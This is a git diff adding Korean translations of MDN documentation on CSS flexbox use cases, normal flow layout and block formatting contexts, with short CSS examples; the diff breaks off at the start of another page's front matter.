+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">이번 안내서에서는 흔히 볼 수 있는 가변상자 사용 사례 중 일부를 살펴 보겠습니다. 가변상자의 사용이 다른 조판 메서드보다 더 적합한 사례입니다.</p>
+
+<h2 id="왜_가변상자를_선택">왜 가변상자를 선택?</h2>
+
+<p>완벽한 브라우저 지원 환경에서 가변상자를 사용하기로 선택한 이유는 항목 모음을 한 방향 또는 다른 방향으로 배치하길 원하기 때문입니다. 우리가 항목을 배치할 때 해당 일차원의 항목 크기를 제어하거나 항목 간 간격을 제어하려고 합니다. 이것이 가변상자를 설계한 목적에 맞는 용도입니다. <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods">가변상자와 여타 씨에스에스 조판 메서드의 관계</a>에서 가변상자와 씨에스에스 격자 조판의 차이점에 대해 자세히 읽을 수 있습니다. 그곳에선 가변상자가 씨에스에스 조판의 전체 그림에서 어떤 역할을 하고 있는지에 대해 논의합니다.</p>
+
+<p>실제로 격자 조판에 의해 더 잘 수행 될 수있는 작업이나 격자에 대한 대체품 및 정렬 기능을 얻기 위해 가변상자를 종종 사용합니다. 당 사용례는 블록 조판에서 <ruby><em>상자 정렬</em><rp> (</rp><rt>Box Alignment</rt><rp>) </rp></ruby>이 구현되고 나면 변경될 수 있습니다. 이 안내서에서는 오늘날 가변상자가 쓰일 수 있는 몇 가지 대표적인 사용례를 살펴봅니다.</p>
+
+<h2 id="탐색_메뉴">탐색 메뉴</h2>
+
+<p>탐색 메뉴의 일반적인 패턴은 항목 목록을 가로 막대로 표시하는 것입니다. 이 패턴은 기본적으로 가변상자 이전에는 달성하기 어려웠습니다. 이는(탐색 가로 막대) 가장 간단한 가변상자 예제를 형성하며 이상적인 가변상자 사용 사례로 간주될 수 있습니다.</p>
+
+<p>가로로 표시하려는 항목 집합이 있으면 잉여 공간이 생길 수밖에 없습니다. 우리는 그 공간으로 무엇을 해야할지 결정해야 하며 몇 가지 선택 옵션이 있습니다. 일번 선택은 우리가 항목 무리 이외의 공간을 표시합니다. 따라서 그 사이 또는 그 주변에 공백이 생깁니다. 또는 항목 내부 여분의 공간을 흡수하려면 항목 집합이 이 공간을 확장하고 점유할 수 있는 메소드가 필요합니다.</p>
+
+<h3 id="항목_외부에_공간_분배">항목 외부에 공간 분배</h3>
+
+<p>항목 사이 또는 주위에 공간을 분배시키기 위해 가변상자의 정렬 속성과 {{cssxref("justify-content")}} 속성을 사용합니다. 이 속성에 대한 자세한 내용은 기본 축을 기준으로 항목 정렬을 처리하는 <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">가변 컨테이너의 항목 정렬</a>에서 확인할 수 있습니다.</p>
+
+<p>아래 실제 예에서 우리는 항목을 원래 크기로 표시하고 <code>justify-content: space-between</code>를 사용하여 항목 사이의 간격을 동일하게 만듭니다. <code>space-around</code> 값을 사용하거나, 지원이 될 경우 <code>space-evenly</code>를 사용해 공간이 분배되는 방식을 변경할 수 있습니다. <code>flex-start</code>를 사용하여 항목 끝에 공간을 배치하거나 <code>flex-end</code>를 사용하여 항목 앞에 배치하거나 <code>center</code>를 사용해 탐색 항목 중앙에 배치할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation.html", '100%', 550)}}</p>
+
+<h3 id="항목_내부에_공간_분배">항목 내부에 공간 분배</h3>
+
+<p>탐색 메뉴를 위한 다른 패턴은 항목 사이에 공간을 만드는 것이 아니라 항목 자체 내에 사용 가능한 공간을 분배하는 것입니다. 이 경우, <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">주축을 따라 가변 항목의 비율 제어</a>에서 설명된대로 가변 속성을 사용하여 항목이 서로 비례하여 확대 및 축소되도록 합니다.</p>
+
+<p>모든 탐색 메뉴 항목의 너비를 동일하게 하려면 <code>flex: auto</code>를 사용하면 됩니다. 그것은 <code>flex: 1 1 auto</code>의 약칭으로 모든 항목이 자동이란 가변 기반에 따라 확대되거나 축소됩니다. 여기서 자동이란 항목이 길수록 더 많은 공간이 생긴다는 말입니다.</p>
+
+<p>아래의 실제 예제에서 <code>flex: auto</code>를 <code>flex: 1</code>로 변경해보십시요. 이것은 <code>flex: 1 1 0</code>의 약칭입니다. 모든 항목이 0의 가변 기반에서 작동하여 모든 공간을 고르게 배분할 수 있기 때문에 모든 항목이 동일한 너비가 됩니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/navigation-flex.html", '100%', 550)}}</p>
+
+<h2 id="탐색_메뉴_분할">탐색 메뉴 분할</h2>
+
+<p>주축에서 항목을 정렬하는 또 다른 방법은 자동 여백을 사용하는 것입니다. 이를 통해 한 그룹의 항목이 왼쪽으로 정렬되고 다른 그룹이 오른쪽으로 정렬되는 탐색 모음(메뉴)의 디자인 패턴이 가능합니다.</p>
+
+<p>여기에서는 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container#Using_auto_margins_for_main_axis_alignment">주축 정렬에 대한 자동 여백 사용</a>에서 설명된 자동 여백 기술을 사용합니다. 항목 무리는 <code>flex-start</code>를 사용해 주축에 정렬됩니다. 그것이 가변상자의 초기값 동작이며, 우리가 항목을 오른쪽으로 정렬하려면 왼쪽 여백을 자동으로 지정합니다. 클래스 지정을 한 항목에서 다른 항목으로 이동하여 분할이 발생하는 위치를 변경할 수 있습니다.</p>
+
+<p>또한 이 예제에서는 가변 항목에 여백을 사용하여 항목 사이에 간격을 만들고 컨테이너에 음의 여백을 사용하여 항목이 여전히 오른쪽 및 왼쪽 가장자리와 맞붙도록 합니다. <ruby><em>박스 정렬</em><rp> (</rp><rt>Box Alignment</rt><rp>) </rp></ruby> 규격의 <code>gap</code> 속성이 가변상자에 구현될 때까지 항목 간에 배수구를 만들려면 이 방식으로 여백을 사용해야 합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/split-navigation.html", '100%', 550)}}</p>
+
+<h2 id="항목_중심에_놓기">항목 중심에 놓기</h2>
+
+<p>가변상자 이전에 개발자들은 웹 디자인에서 가장 어려운 문제는 수직 중심이라고 농담할겁니다. 다음 실제 예제에서 볼 수 있듯이 가변상자의 정렬 속성을 사용하여 간단하게 만들었습니다.</p>
+
+<p>항목에 <code>flex-start</code>를 지정해 시작 부분으로 정렬하거나 <code>flex-end</code>를 지정해 끝 부분에 항목을 정렬하는 식으로 정렬을 맘대로 조정할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/center.html", '100%', 700)}}</p>
+
+<p><ruby><em>박스 정렬</em><rp> (</rp><rt>Box Alignment</rt><rp>) </rp></ruby> 속성은 궁극적으로 블록 조판의 내용으로 구현될 예정이므로 미래에는 단일 아이템을 중앙에 배치하기 위해 컨테이너를 가변 컨테이너로 만들 필요는 없습니다. 그러나 당장은 하나의 것을 다른 것의 중심에 올바로 배치해야하는 경우 가변상자를 사용하는 게 맞습니다. 위의 예에서와 같이 컨테이너를 가변 컨테이너로 만든 다음 상위 요소에 대해 <code>align-items</code>을 사용하거나 가변 항목 자체를 <code>align-self</code>로 공략합니다.</p>
+
+<h2 id="바닥글을_아래로_밀어내는_카드_조판">바닥글을 아래로 밀어내는 카드 조판</h2>
+
+<p>가변상자 또는 씨에스에스 격자를 사용하여 카드 구성 요소의 목록을 조판하더라도, 이들 조판 메서드는 가변 또는 격자 구성 요소의 직계 자식에서만 작동합니다. 즉, 콘텐츠의 크기가 가변적이면 카드가 격자 영역의 높이나 가변 컨테이너의 높이까지 늘어납니다. 모든 내부 콘텐츠는 친숙한 블록 조판을 사용합니다. 즉, 콘텐츠가 적은 카드에서는 바닥글이 카드의 아래쪽에 고정되지 않고 콘텐츠의 밑단까지 차오릅니다.</p>
+
+<p><img alt="구성 요소의 내부가 (상위) 랩퍼와 함께 늘어나지 않음을 표시하는 두 개의 카드 구성 요소." src="https://mdn.mozillademos.org/files/15669/flex-cards.png" style="height: 626px; width: 964px;"></p>
+
+<p>가변상자가 이를 해결할 수 있습니다. 우리는 {{cssxref("flex-direction")}}<code>: column</code> 속성를 가진 카드를 가변 컨테이너로 만듭니다. 그런 다음 컨텐츠 영역을 <code>flex: 1</code>로 설정합니다. 이는 <code>flex: 1 1 0</code>의 축약형입니다. — 항목이 <code>0</code>의 가변 기준에서 커지거나 줄어들 수 있습니다. 이것이(컨텐츠 영역이) 커질 수 있는 유일한 항목이므로 가변 컨테이너에 있는 잉여 공간을 차지하고 바닥글을 바닥으로 밉니다. 라이브 예제에서 <code>flex</code> 속성을 제거하면 바닥글이 컨텐츠 바로 아래로 이동하는 방식을 볼 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/cards.html", '100%', 800)}}</p>
+
+<h2 id="미디어_객체">미디어 객체</h2>
+
+<p>미디어 객체는 웹 디자인에서 일반적인 패턴입니다. 이 패턴에는 한쪽에 이미지 나 다른 요소가 있고 오른쪽에 텍스트가 있습니다. 이상적으로 미디어 개체를 반대쪽으로 돌릴 수 있어야 합니다. 말하자면 이미지를 왼쪽에서 오른쪽으로 이동시키는 겁니다.</p>
+
+<p>이 패턴은 어디에서나 볼 수 있으며, 주석 상자용으로 쓰이기도 하고, 이미지와 설명을 표시해야하는 모든 곳에서 볼 수 있습니다. 가변상자를 사용하면 이미지를 포함하는 미디어 객체의 일부가 이미지에서 크기 정보를 가져온 다음 미디어 객체의 본문이 가변적으로 남은 공간을 차지할 수 있습니다.</p>
+
+<p>여러분은 아래 실제 예제에서 미디어 객체를 볼 수 있습니다. 정렬 속성을 사용하여 십자축의 항목을 <code>flex-start</code>로 정렬한 다음 <code>.content</code> 가변 항목을 <code>flex: 1</code>로 설정했습니다. 위의 열 조판 카드 패턴에서와 같이 <code>flex: 1</code>를 사용하면 카드가 커질 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media.html", '100%', 600)}}</p>
+
+<p>이 라이브 예제에서 시도할 수 있는 것은 디자인에서 미디어 개체를 제약하려는 여러 가지 방법과 관련이 있습니다.</p>
+
+<p>이미지가 너무 커지는 것을 방지하려면 이미지에 {{cssxref("max-width")}}를 추가하십시오. 미디어 객체의 그쪽 측면이 가변상자의 초기값(예: 100px)을 사용함에 따라 줄어들지만 커질 수는 없으며 <code>flex-basis</code>는 자동을 사용합니다. 이미지에 적용된 모든 {{cssxref("width")}} 또는 최대 너비는 <ruby><code>flex-basis</code><rp> (</rp><rt>가변 기준</rt><rp>) </rp></ruby>이 됩니다.</p>
+
+<pre class="brush: css">.image img {
+  max-width: 100px;
+}
+</pre>
+
+<p>또한 양쪽이 비례하여 커지거나 줄어들 수 있습니다. 양면을 <code>flex: 1</code>로 설정하면 0의 {{cssxref("flex-basis")}}에서 커지거나 줄어들기 때문에 두 개의 동일한 크기의 열이 생깁니다. 컨텐츠를 기준으로 사용하여 (컨텐츠와 이미지) 둘 다에 <code>flex: auto</code>로 설정하면 컨텐츠의 크기에 따라, 또는 이미지의 너비와 같은 가변 항목에 직접 적용되는 크기에 따라 커지거나 줄어들 수 있습니다.</p>
+
+<pre class="brush: css">.media .content {
+  flex: 1;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}</pre>
+
+<p>예를 들어 이미지가 있는 쪽을 <code>flex: 1</code>로 설정하고 콘텐츠 쪽을 <code>flex: 3</code>으로 설정하는 등 각면에 서로 다른 {{cssxref("flex-grow")}}를 부여할 수 있습니다. 즉, <code>flex-basis</code>를 <code>0</code>으로 사용하지만 해당 공간을 <code>flex-grow</code> 인수에 맞춰 서로 다르게 공간을 할당합니다. 그런 용도로 사용하는 가변 속성은 <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Flexible_Box_Layout/Controlling_Ratios_of_Flex_Items_Along_the_Main_Ax">주축을 따라 가변 항목의 비율 제어</a> 안내서에서 자세히 설명되어 있습니다.</p>
+
+<pre class="brush: css">.media .content {
+  flex: 3;
+  padding: 10px;
+}
+
+.image {
+  flex: 1;
+}</pre>
+
+<h3 id="미디어_객체_방향_돌리기">미디어 객체 방향 돌리기</h3>
+
+<p>이미지가 오른쪽에 있고 콘텐츠가 왼쪽에 있도록 미디어 객체의 표시를 전환하려면 <code>flex-direction</code> 속성을 이용해 <code>row-reverse</code>로 설정할 수 있습니다. 미디어 개체가 이제 다른 방향으로 표시됩니다. 저는 그걸 달성하기 위해 라이브 예제에서 기존 <code>.media</code> 클래스와 함께 <code>flipped</code> 클래스를 추가했습니다. 즉, 에이치티엠엘에서 해당 클래스를 제거하여 디스플레이가 어떻게 변경되는지 확인할 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/media-flipped.html", '100%', 650)}}</p>
+
+<h2 id="양식_컨트롤">양식 컨트롤</h2>
+
+<p>가변상자는 양식 컨트롤에 스타일을 적용할 때 특히 유용합니다. 양식에는 일반적으로 서로 정렬하고 싶은 다수의 마크업과 다수의 작은 요소를 포함할 수 있습니다. 일반적인 패턴은 {{htmlelement("input")}} 요소가 {{htmlelement("button")}}과 짝을 이루는 검색 양식의 경우나 방문자가 단순히 전자 메일 주소를 입력하도록 하려는 경우입니다.</p>
+
+<p>가변상자를 사용하면 이러한 유형의 조판을 쉽게 달성할 수 있습니다. 테두리를 지정하고 표시하도록 설정한 래퍼 클래스에 <code>&lt;button&gt;</code> 및 <code>&lt;input&gt;</code> 필드가 포함되어 있습니다. 거기에 테두리를 부여하고 <code>display: flex</code>를 설정했습니다. 그런 다음 가변 속성을 사용하여 <code>&lt;input&gt;</code> 필드가 커지도록 했고, 버튼은 그렇지 않습니다. 이것은 사용 가능한 공간이 변함에 따라 텍스트 필드가 커지거나 작아지는 한 쌍의 필드가 있음을 의미합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/input-button.html", '100%', 550)}}</p>
+
+<p>버튼을 오른쪽에 올려 놓은 것처럼 레이블이나 아이콘을 왼쪽에 쉽게 추가 할 수 있습니다. 나는 레이블을 추가했으며 배경색에 대한 스타일링 이외에 조판을 변경할 필요가 없었습니다. 신축성있는 입력 필드는 이제 맘대로 이용할 공간이 조금 줄어들지만 두 항목의 지분이 고려된 후 남은 공간을 사용합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/use-cases/label-input-button.html", '100%', 550)}}</p>
+
+<p>이와 같은 패턴을 사용하면 디자인에 추가할 요소를 쉽게 수용할 수 있는 양식 요소 라이브러리를 훨씬 쉽게 만들 수 있습니다. 커지지 않는 항목과 커지는 항목을 혼합하는 식으로 가변상자의 유연성을 활용하고 있습니다.</p>
+
+<h2 id="결론">결론</h2>
+
+<p>위의 패턴을 살펴보면서 가변 상자를 사용하여 원하는 결과를 얻는 가장 좋은 방법을 여러분이 생각을 통해 파악되기 시작했길 희망해봅니다. 종종 하나 이상의 선택이 있습니다. 늘릴 수 없는 항목을 늘릴 수 있는 것과 혼합하거나, 콘텐츠를 사용하여 크기를 알리거나, 가변상자가 공간을 비례적으로 공유할 수 있도록 하십시오. 그것은 당신에게 달려 있습니다.</p>
+
+<p>보유 컨텐츠를 제시하는 가장 좋은 방법을 생각한 다음 가변상자 또는 기타 조판 방법이 컨텐츠를 선보이는 데 어떻게 도움이 되는지 살펴보십시오.</p>
diff --git a/files/ko/web/css/css_flow_layout/index.html b/files/ko/web/css/css_flow_layout/index.html
new file mode 100644
index 0000000000..32928121ff
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/index.html
@@ -0,0 +1,46 @@
+---
+title: CSS Flow Layout
+slug: Web/CSS/CSS_Flow_Layout
+tags:
+  - CSS 흐름 레이아웃
+  - 흐름
+translation_of: Web/CSS/CSS_Flow_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><em>일반적인 흐름 Normal Flow</em>, 또는 흐름 레이아웃 Flow Layout 은 그 레이아웃 변화가 있기 전까지 페이지 안의 블록 요소와 인라인 요소가 보여지는 방식 입니다. 흐름이란 본질적으로 레이아웃 아래 서로 같이 동작하고 서로에게 서로가 알려지는 것들의 집합 입니다. 만약에 어느 하나가 <em>흐름에서 벗어나면</em> 그것은 독립적으로 동작하게 됩니다.</p>
+
+<p><em>일반적인 흐름</em>에서, <strong>인라인</strong> 요소들은 한줄러 늘어서 보여지게 되는데, 이는 문서의 <a href="/en-US/docs/Web/CSS/CSS_Writing_Modes">Writing Mode</a> 에 따라 문장 안의 단어들이 보여지는 방향을 따르게 됩니다. <strong>블록</strong> 요소들은 문서의 Writing Mode 에서의 단락이 하나씩 나눠져 보여지듯이 나타납니다. 그래서 영어에서는, 인라인 요소들은 왼쪽에서 시작하여 하나씩 보여지고, 블록 요소들은 맨 위에서부터 페이지를 따라 아래로 보여집니다.</p>
+
+<h2 id="기본적인_예">기본적인 예</h2>
+
+<p>아래의 예는 블록과 인라인 레벨 박스들을 설명합니다. 초록 테두리를 갖은 두개의 paragraph 요소들은 블록 레벨에 있어서 하나씩 위에서 아래로 나타납니다.</p>
+
+<p>첫번째 문장은 파란 바탕을 갖은 span 요소를 포함하고 있습니다. 이 요소는 인라인 레벨에 있으며 따라서 문장 내에 이어져 나타납니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}</p>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Block_and_Inline_Layout_in_Normal_Flow">Block and Inline Layout in Normal Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/In_Flow_and_Out_of_Flow">In Flow and Out of Flow</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Formatting_Contexts_Explained">Formatting Contexts Explained</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Writing_Modes">Flow Layout and Writing Modes</a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Flow_Layout/Flow_Layout_and_Overflow">Flow Layout and Overflow</a></li>
+</ul>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="Glossary_Entries">Glossary Entries</h3>
+
+<ul>
+ <li>{{Glossary("Block/CSS", "Block (CSS)")}}</li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
new file mode 100644
index 0000000000..3a91f6ba92
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/intro_to_formatting_contexts/index.html
@@ -0,0 +1,92 @@
+---
+title: 서식 상황 입문서
+slug: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts
+tags:
+  - BFC
+  - 대열
+  - 블록 서식 상황
+  - 서식 상황
+  - 씨에스에스
+  - 안내서
+  - 조판
+  - 중급
+translation_of: Web/CSS/CSS_Flow_Layout/Intro_to_formatting_contexts
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">이 문서는 서식 상황의 개념을 소개합니다. 서식 상황에는 블록 서식 상황과 인라인 서식 상황, 가변 서식 상황을 포함한 여러 유형이 있습니다. 그들이 어떻게 동작하고 어떻게 그러한 동작을 활용할 수 있는지에 대한 기본 사항도 소개합니다.</span></p>
+
+<p>페이지의 모든 것은 서식 상황(<strong>formatting context</strong>)의 일부이거나 특정 방식으로 콘텐츠를 배치하도록 정의된 영역입니다. 블록 서식 상황(<strong>block formatting context</strong>)은 블록 조판 규칙에 따라 자식 요소를 배치하고, 가변 서식 상황(<strong>flex formatting context</strong>)은 자식을 {{Glossary("flex item", "flex items")}}로 취급해 배치합니다. 각 서식 상황은 해당 상황에 속했을 때 조판이 어떻게 동작하는지에 대한 특정 규칙을 가지고 있습니다.</p>
+
+<h2 id="블록_서식_상황">블록 서식 상황</h2>
+
+<p>문서의 최외각 요소는 우선 블록 조판 규칙을 수립합니다. 이를 일컬어 초기 블록 서식 상황(<strong>initial block formatting context</strong>)이라고 합니다. 이는 <code>&lt;html&gt;</code> 요소 블록 내부의 모든 요소는 블록 및 인라인 조판 규칙을 따르는 일반 대열에 따라 배치됨을 의미합니다. 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)에 참여하는 요소는 씨에스에스 상자 모델에 의해 윤곽이 제시된 규칙을 사용합니다. 이 모델은 요소의 여백, 테두리 및 패딩이 동일한 서식 상황에서 서로 다른 블록과 상호 작용하는 방법을 정의합니다.</p>
+
+<h3 id="새로운_블록_서식_상황_생성하기">새로운 블록 서식 상황 생성하기</h3>
+
+<p>단지 {{HTMLElement("html")}} 요소만이 블록 서식 상황을 생성할 능력을 갖춘 것은 아닙니다. 기본값으로 블록 조판인 모든 요소는 역시 자기 자손 요소에 대한 블록 서식 상황을 생성합니다. 또한 기본값으로 주어지지 않아도 블록 서식 상황을 생성하도록 할 수 있는 씨에스에스 속성이 있습니다. 동 속성이 유용한 까닭은 새로운 블록 서식 상황이 자체적으로 주 조판 내부의 소형 조판이 된다는 점에서 최외곽 문서와 매우 유사하게 작동하기 때문입니다. 블록 서식 상황은 그 내부에 모든 요소를 포함하고, {{cssxref("float")}} 및 {{cssxref("clear")}}는 동일한 서식 상황에 속한 항목에만 적용되며, 여백 축소는 동일한 서식 상황 요소 사이에만 이뤄집니다.</p>
+
+<p>우리 문서의 뿌리 요소인 ({{HTMLElement("html")}}) 이 외에도 새로운 블록 서식 상황은 다음과 같은 경우에 생성됩니다.</p>
+
+<ul>
+ <li>{{cssxref("float")}}를 사용으로 요소가 부동체가 되는 경우</li>
+ <li>절대 위치잡기한 요소, 여기에는 {{cssxref("position", "position: fixed", "#fixed")}} 혹은 {{cssxref("position", "position: sticky", "#sticky")}}가 포함됩니다.</li>
+ <li>{{cssxref("display", "display: inline-block", "#inline-block")}}이 적용된 요소</li>
+ <li><code>display: table-cell</code>이 적용된 테이블 셀 또는 요소, 여기에는 <code>display: table-*</code> 속성 무리를 사용한 익명 테이블 셀도 포함됩니다.</li>
+ <li><code>display: table-caption</code>이 적용된 테이블 캡션이나 요소</li>
+ <li><code>visible</code>이외의 대열이탈 값을 갖는 블록 요소</li>
+ <li><code>display: flow-root</code> 혹은 <code>display: flow-root list-item </code>가 적용된 요소</li>
+ <li>{{cssxref("contain", "contain: layout", "#layout")}}, <code>content</code>, 또는 <code>strict</code>가 적용된 요소</li>
+ <li>{{Glossary("flex item", "flex items")}}</li>
+ <li>격자 항목</li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Columns/Basic_Concepts_of_Multicol">다단 컨테이너</a></li>
+ <li>{{cssxref("column-span")}}이 <code>all</code>로 설정된 요소</li>
+</ul>
+
+<p>블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하는 효과를 확인하기 위해 이들 중 몇 가지를 살펴봅시다.</p>
+
+<p>아래 예제에서, 우리는 테두리가 적용된 <code>&lt;div&gt;</code> 내부에 부동체 요소 하나를 가지고 있습니다. 해당 <code>div</code>의 콘텐츠는 부동체 요소와 나란히 부동해왔습니다. 동 부동체의 콘텐츠가 자기 옆에 있는 콘텐츠보다 키가 크기 때문에 하위 <code>&lt;div&gt;</code>의 테두리는 이제 부동체에 전체에 걸쳐 진행하고 있습니다. <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/대열과_탈대열">대열 요소와 탈대열 요소에 관한 안내서</a>에서 설명했듯이, 동 부동체는 대열에서 제외되어 <code>&lt;div&gt;</code> 요소의 배경과 테두리는 콘텐츠만 포함하지 부동체는 포함하지 않습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}</p>
+
+<p>새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하면 동 부동체를 포함할 겁니다. 그러려면 전형적인 방법은 <code>overflow: auto</code>를 설정하거나, 초깃값인 <code>overflow: visible</code> 이외의 다른 값을 설정하는 식이었습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-overflow.html", '100%', 720)}}</p>
+
+<p><code>overflow: auto</code>를 지정하여 동 부동체를 포함하는 새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성했습니다. 우리의 <code>div</code>가 이제는 우리 조판 내부에 소형 조판이 되었습니다. 모든 자식 요소는 소형 조판 내부에 포함되게 됩니다.</p>
+
+<p>대열이탈(<code>overflow</code>)을 사용하여 새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하는 것이 문제가 되는 것은 대열이탈(<code>overflow</code>) 속성이 대열이탈 콘텐츠를 어떻게 다루고 싶은지 브라우저에 알려주기 위한 것입니다. 이 속성을 순수하게 블록 서식 상황을 생성할 목적으로 사용할 경우 원치 않는 스크롤 막대 또는 잘려 나간 그림자를 생기는 경우도 있습니다. 또한, 그 경우는 후진 개발자가 왔을 때 판독의 여지가 많지 않을 수 있습니다. 왜냐면 대열이탈을 무슨 목적으로 사용했는지 이유가 분명하지 않을 수 있기 때문입니다. 다음과 같이 하면 코드를 설명하는 데 좋은 아이디어가 될 것입니다.</p>
+
+<h3 id="display_flow-root을_사용하며_명시적으로_블록_서식_상황을_생성하기">display: flow-root을 사용하며 명시적으로 블록 서식 상황을 생성하기</h3>
+
+<p><code>display: flow-root</code> (또는 <code>display: flow-root list-item)</code>)를 컨테이너 블록상에 사용하면 잠재적인 문제가 될 수 있는 여타 부작용 없이 새로운 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성합니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/bfc-flow-root.html", '100%', 720)}}</p>
+
+<p>{{HTMLElement("div")}}에 요소상에 <code>display: flow-root</code>을 적용하면, 컨테이너 내부의 모든 요소는 해당 컨테이너의 블록 서식 상황에 참여하게 되며, 부동체 무리는 동 요소 밑으로 돌출하지 않게 됩니다.</p>
+
+<p>대열뿌리(<code>flow-root</code>)라는 키워드 명명은 (마치 {{HTMLElement("html")}}의 경우처럼) 본질적으로 새로운 뿌리 요소와 같은 기능하는 어떤 것을 생성한다는 사실을 말해줍니다. 새로운 상황이 어떻게 생성되었으며 어떻게 해당 대열 조판이 기능하는지를 고려하면 그렇습니다.</p>
+
+<h2 id="인라인_서식_상황">인라인 서식 상황</h2>
+
+<p>인라인 서식 상황은 다른 서식 상황 내부에 존재하며 하나의 단락 상황처럼 생각될 수 있습니다. 단락은 텍스트상에 사용되는 {{HTMLElement("strong")}}, {{HTMLElement("a")}} 또는 {{HTMLElement("span")}} 등이 내부적으로 사용되는 인라인 서식 상황을 생성합니다.</p>
+
+<p>상자 모델은 인라인 서식 상황에 참여하는 항목에 100% 적용되지 않습니다. 가로쓰기 모드 라인에서 수평 패딩, 테두리 및 여백이 요소에 적용되고 텍스트를 왼쪽과 오른쪽으로 밀어냅니다. 그러나, 해당 요소 위와 아래에 여백은 적용되지 않습니다. 수직 패딩 및 테두리는 적용되지만 인라인 서식 상황에서 라인 상자가 패딩 및 테두리에 의해 밀려나지 않음으로 위와 아래에 내용이 겹칠 수 있습니다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/inline.html", '100%', 720)}}</p>
+
+<h2 id="기타_서식_상황">기타 서식 상황</h2>
+
+<p>이 안내서는 대열 조판을 다루므로 여타 가능한 서식 상황을 참조하지 않습니다. 따라서 어떤 유형의 서식 상황을 만드는 것이 서식 상황 속에 포함된 요소 무리가 작동하는 방식을 변화시킬 것인지 파악하는 것이 유용합니다. 이런 동작은 항상 에이치티엠엘 규격에 기술되어 있고, 또한 이곳 모질라 개발자 네트워크(MDN)에도 기술되어 있습니다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이번 안내서에서는 블록 및 인라인 서식 상황과 블록 서식 상황(<abbr title="Block Formatting Context">BFC</abbr>)을 생성하는 중요한 주제를 자세히 살펴보았습니다. 다음 안내서에서는 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/%ED%9D%90%EB%A6%84_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EC%93%B0%EA%B8%B0_%EB%AA%A8%EB%93%9C">어떻게 일반 대열과 서로 다른 쓰기 모드가 상호 작용</a>하는지에 대해 알아보겠습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/Guide/CSS/Block_formatting_context">불록 서식 상황</a></li>
+ <li><a href="/ko/docs/Web/Guide/CSS/Visual_formatting_model">시각적 서식 모델</a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Box_Model">씨에스에스 기본 상자 모델</a></li>
+</ul>
diff --git a/files/ko/web/css/css_flow_layout/대열과_탈대열/index.html b/files/ko/web/css/css_flow_layout/대열과_탈대열/index.html
new file mode 100644
index 0000000000..2b05d99f39
--- /dev/null
+++ b/files/ko/web/css/css_flow_layout/대열과_탈대열/index.html
@@ -0,0 +1,72 @@
+---
+title: 대열과 탈대열
+slug: Web/CSS/CSS_Flow_Layout/대열과_탈대열
+tags:
+  - 대열
+  - 대열 조판
+  - 씨에스에스
+  - 씨에스에스 대열 조판
